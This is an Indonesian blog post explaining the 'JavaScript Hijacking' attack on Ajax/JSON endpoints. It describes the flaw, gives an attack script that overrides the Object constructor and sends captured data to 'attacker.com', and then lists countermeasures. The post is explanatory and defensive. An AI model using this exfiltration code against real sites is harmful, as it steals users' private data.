Bertambahnya jumlah aplikasi web yang
sering disebut aplikasi Ajax, memanfaatkan Javascript sebagai mekanisme
transportasi data. Di sini saya akan menjelaskan sebuah kelemahan yang kita
sebut dengan “Pembajakan Javascript”, yang memperbolehkan pihak yang tidak
bertanggung jawab untuk membaca data rahasia yang tersimpan di dalam pesan
Javascript. Penyerangan ini bekerja dengan menggunakan tag <script> untuk
menghindari Same Origin Policy yang digunakan browser Web.
Aplikasi Web
tradisional tidak rentan karena mereka tidak menggunakan Javascript sebagai
mekanisme transportasi data.
Terdapat 12 framework Ajax yang populer,
termasuk 4 toolkit yang terintegrasi server -- Direct Web Remoting (DWR),
Microsoft ASP.NET Ajax (atau Atlas), xajax dan Google Web Toolkit (GWT) – dan 8
client-side libraries -- Prototype, Script.aculo.us, Dojo, Moo.fx, jQuery, Yahoo!
UI, Rico, dan MochiKit. Dari semua itu, hanya DWR 2.0 yang mengimplementasikan
mekanisme pencegahan Pembajakan Javascript. Framework sisanya tidak secara
eksplisit menyediakan perlindungan dan menyinggung masalah keamanan dalam
dokumentasi mereka.
Banyak programmer tidak menggunakan
satupun framework tersebut, namun terdapat banyak aplikasi custom-build yang
rentan. Ciri-ciri aplikasi yang kemungkinan rentan adalah jika:
- Menggunakan JavaScript sebagai format transfer data,
- Menangani data rahasia
Browser Web menggunakan Same Origin
Policy untuk melindungi pengguna dari website yang berbahaya. Same Origin
Policy mewajibkan baik Javascript dan halaman Web harus berasal dari domain
yang sama agar Javascript dapat mengakses isi Web tersebut. Tanpa Same Origin
Policy, website berbahaya dapat memanfaatkan Javascript yang memuat informasi
sensitif dari website lain menggunakan credential klien, dan berkomunikasi
balik ke pelaku.
Pembajakan JavaScript membiarkan pelaku
untuk mem-bypass Same Origin Policy jikalau aplikasi Web menggunakan Javascript
untuk mengirimkan informasi rahasia. Celah dalam Same
Origin
Policy adalah memperbolehkan JavaScript dari website apapun untuk disertakan
dan dieksekusi dalam konteks website lain. Meskipun situs berbahaya tidak dapat
memeriksa secara langsung data apapun yang dimuat dari situs yang rapuh dari
klien, namun tetap dapat memanfaatkan celah ini dengan mengatur environment
yang memperbolehkannya melihat eksekusi JavaScript dan efek samping relevan
yang dimiliki.
Berikut
adalah contoh interaksi antara klien - server yang memuat data penjualan dengan
menggunakan format JavaScript Object
Notation (JSON).
Klien
merequest data dari server dan mengevaluasi hasilnya sebagai JSON dengan kode
berikut:
var object;
var req = new
XMLHttpRequest();
req.open("GET",
"/object.json",true);
req.onreadystatechange
= function () {
if
(req.readyState == 4) {
var
txt = req.responseText;
object
= eval("(" + txt + ")");
req
= null;
}
};
req.send(null);
Saat
kode berjalan, dihasilkan HTTP request seperti ini:
GET /object.json
HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YjaSbAiTnRR
Server merespon dengan array
dalam format JSON:
HTTP/1.1 200 OK
Cache-control: private
Content-Type:
text/javascript; charset=utf-8
...
[{"fname":"Brian",
"lname":"Chess", "phone":"6502135600",
"purchases":60000.00,
"email":"brian@fortifysoftware.com" },
{"fname":"Katrina",
"lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00,
"email":"katrina@fortifysoftware.com" },
{"fname":"Jacob",
"lname":"West", "phone":"6502135600",
"purchases":45000.00,
"email":"jacob@fortifysoftware.com" }]
Jika korban calon
dapat ditipu untuk mengunjungi halaman Web yang berisi kode berbahaya,
informasi rahasia korban dapat dikirim ke website pelaku.
<script>
// mengganti
konstruktor yang dipakai untuk membuat seluruh objek sehingga
// setiap kali field “email”
ditetapkan, metode captureObject() akan berjalan.
// Karena "email"
adalah field terakhir, script ini akan mencuri seluruh fungsi objek.
function Object() {
this.email
setter = captureObject;
}
// Mengirim objek
yang didapat kembali ke website pelaku.
function
captureObject(x) {
var
objString = "";
for
(fld in this) {
objString
+= fld + ": " + this[fld] + ", ";
}
objString
+= "email: " + x;
var
req = new XMLHttpRequest();
req.open("GET",
"http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!—Menggunakan tag
script untuk mencuri data -->
<script
src="http://www.example.com/object.json"></script>
Untuk aplikasi
Web 2.0 yang menangani data rahasia, terdapat beberapa cara fundamental untuk berlindung
dari Pembajakan Javascript, yaitu:
- Menolak request berbahaya
- Mencegah eksekusi langsung dari respon Javascript,
sedangkan
untuk seluruh program yang berkomunikasi dengan menggunakan Javascript
menerapkan beberapa langkah pencegahan sebagai berikut:
- Menyertakan identifier yang sulit diterka, seperti identifier session, sebagai bagian dari tiap request yang akan mengembalikan Javascript. Ini untuk melawan penyerangan dengan pemalsuan request cross-site dengan memperbolehkan server untuk memvalidasi asal-muasal dari request tersebut.
- Menyertakan karakter dalam respon yang mencegahnya diserahkan ke penerjemah Javascript tanpa modifikasi. Ini mencegah pelaku untuk menggunakan tag <script> untuk melihat eksekusi Javasript.
0 komentar:
Posting Komentar